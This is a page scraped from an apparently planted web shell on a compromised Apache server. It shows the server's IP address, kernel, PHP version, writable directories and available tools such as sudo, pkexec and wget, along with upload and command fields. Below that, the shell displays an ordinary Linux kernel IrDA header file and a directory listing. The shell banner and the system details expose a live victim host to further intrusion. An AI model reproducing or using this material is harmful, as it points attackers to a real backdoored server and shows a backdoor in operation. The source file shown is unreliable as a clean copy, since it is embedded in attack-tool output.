p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/net/irda/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/net/irda/ircomm_tty_attach.h
/*********************************************************************
 *                
 * Filename:      ircomm_tty_attach.h
 * Version:       
 * Description:   
 * Status:        Experimental.
 * Author:        Dag Brattli <dagb@cs.uit.no>
 * Created at:    Wed Jun  9 15:55:18 1999
 * Modified at:   Fri Dec 10 21:04:55 1999
 * Modified by:   Dag Brattli <dagb@cs.uit.no>
 * 
 *     Copyright (c) 1999 Dag Brattli, All Rights Reserved.
 *     
 *     This program is free software; you can redistribute it and/or 
 *     modify it under the terms of the GNU General Public License as 
 *     published by the Free Software Foundation; either version 2 of 
 *     the License, or (at your option) any later version.
 * 
 *     This program is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 *     GNU General Public License for more details.
 * 
 *     You should have received a copy of the GNU General Public License 
 *     along with this program; if not, see <http://www.gnu.org/licenses/>.
 *     
 ********************************************************************/

#ifndef IRCOMM_TTY_ATTACH_H
#define IRCOMM_TTY_ATTACH_H

#include <net/irda/ircomm_tty.h>

typedef enum {
        IRCOMM_TTY_IDLE,
	IRCOMM_TTY_SEARCH,
        IRCOMM_TTY_QUERY_PARAMETERS,
	IRCOMM_TTY_QUERY_LSAP_SEL,
	IRCOMM_TTY_SETUP,
        IRCOMM_TTY_READY,
} IRCOMM_TTY_STATE;

/* IrCOMM TTY Events */
typedef enum {
	IRCOMM_TTY_ATTACH_CABLE,
	IRCOMM_TTY_DETACH_CABLE,
	IRCOMM_TTY_DATA_REQUEST,
	IRCOMM_TTY_DATA_INDICATION,
	IRCOMM_TTY_DISCOVERY_REQUEST,
	IRCOMM_TTY_DISCOVERY_INDICATION,
	IRCOMM_TTY_CONNECT_CONFIRM,
	IRCOMM_TTY_CONNECT_INDICATION,
	IRCOMM_TTY_DISCONNECT_REQUEST,
	IRCOMM_TTY_DISCONNECT_INDICATION,
	IRCOMM_TTY_WD_TIMER_EXPIRED,
	IRCOMM_TTY_GOT_PARAMETERS,
	IRCOMM_TTY_GOT_LSAPSEL,
} IRCOMM_TTY_EVENT;

/* Used for passing information through the state-machine */
struct ircomm_tty_info {
        __u32     saddr;               /* Source device address */
        __u32     daddr;               /* Destination device address */
        __u8      dlsap_sel;
};

extern const char *const ircomm_state[];
extern const char *const ircomm_tty_state[];

int ircomm_tty_do_event(struct ircomm_tty_cb *self, IRCOMM_TTY_EVENT event,
			struct sk_buff *skb, struct ircomm_tty_info *info);


int  ircomm_tty_attach_cable(struct ircomm_tty_cb *self);
void ircomm_tty_detach_cable(struct ircomm_tty_cb *self);
void ircomm_tty_connect_confirm(void *instance, void *sap, 
				struct qos_info *qos, 
				__u32 max_sdu_size, 
				__u8 max_header_size, 
				struct sk_buff *skb);
void ircomm_tty_disconnect_indication(void *instance, void *sap, 
				      LM_REASON reason,
				      struct sk_buff *skb);
void ircomm_tty_connect_indication(void *instance, void *sap, 
				   struct qos_info *qos, 
				   __u32 max_sdu_size,
				   __u8 max_header_size, 
				   struct sk_buff *skb);
int ircomm_tty_send_initial_parameters(struct ircomm_tty_cb *self);
void ircomm_tty_link_established(struct ircomm_tty_cb *self);

#endif /* IRCOMM_TTY_ATTACH_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:24
0 / 0
0755
af_irda.h
2.895 KB
November 06 2023 09:15:52
0 / 0
0644
crc.h
0.859 KB
November 06 2023 09:15:52
0 / 0
0644
discovery.h
3.411 KB
November 06 2023 09:15:52
0 / 0
0644
ircomm_core.h
3.782 KB
November 06 2023 09:15:52
0 / 0
0644
ircomm_event.h
2.556 KB
November 06 2023 09:15:52
0 / 0
0644
ircomm_lmp.h
1.313 KB
November 06 2023 09:15:52
0 / 0
0644
ircomm_param.h
4.655 KB
November 06 2023 09:15:52
0 / 0
0644
ircomm_ttp.h
1.315 KB
November 06 2023 09:15:52
0 / 0
0644
ircomm_tty.h
3.605 KB
November 06 2023 09:15:52
0 / 0
0644
ircomm_tty_attach.h
3.099 KB
November 06 2023 09:15:52
0 / 0
0644
irda.h
3.88 KB
November 06 2023 09:15:52
0 / 0
0644
irda_device.h
10.02 KB
November 06 2023 09:15:52
0 / 0
0644
iriap.h
2.88 KB
November 06 2023 09:15:52
0 / 0
0644
iriap_event.h
2.317 KB
November 06 2023 09:15:52
0 / 0
0644
irias_object.h
3.133 KB
November 06 2023 09:15:52
0 / 0
0644
irlan_client.h
1.553 KB
November 06 2023 09:15:52
0 / 0
0644
irlan_common.h
6.121 KB
November 06 2023 09:15:52
0 / 0
0644
irlan_eth.h
1.209 KB
November 06 2023 09:15:52
0 / 0
0644
irlan_event.h
2.12 KB
November 06 2023 09:15:52
0 / 0
0644
irlan_filter.h
1.286 KB
November 06 2023 09:15:52
0 / 0
0644
irlan_provider.h
1.721 KB
November 06 2023 09:15:52
0 / 0
0644
irlap.h
9.814 KB
November 06 2023 09:15:52
0 / 0
0644
irlap_event.h
3.39 KB
November 06 2023 09:15:52
0 / 0
0644
irlap_frame.h
5.182 KB
November 06 2023 09:15:52
0 / 0
0644
irlmp.h
8.891 KB
November 06 2023 09:15:52
0 / 0
0644
irlmp_event.h
2.875 KB
November 06 2023 09:15:52
0 / 0
0644
irlmp_frame.h
2.254 KB
November 06 2023 09:15:52
0 / 0
0644
irmod.h
3.585 KB
November 06 2023 09:15:52
0 / 0
0644
irqueue.h
3.052 KB
November 06 2023 09:15:52
0 / 0
0644
irttp.h
7.355 KB
November 06 2023 09:15:52
0 / 0
0644
parameters.h
3.111 KB
November 06 2023 09:15:52
0 / 0
0644
qos.h
2.884 KB
November 06 2023 09:15:52
0 / 0
0644
timer.h
3.628 KB
November 06 2023 09:15:52
0 / 0
0644
wrapper.h
1.777 KB
November 06 2023 09:15:52
0 / 0
0644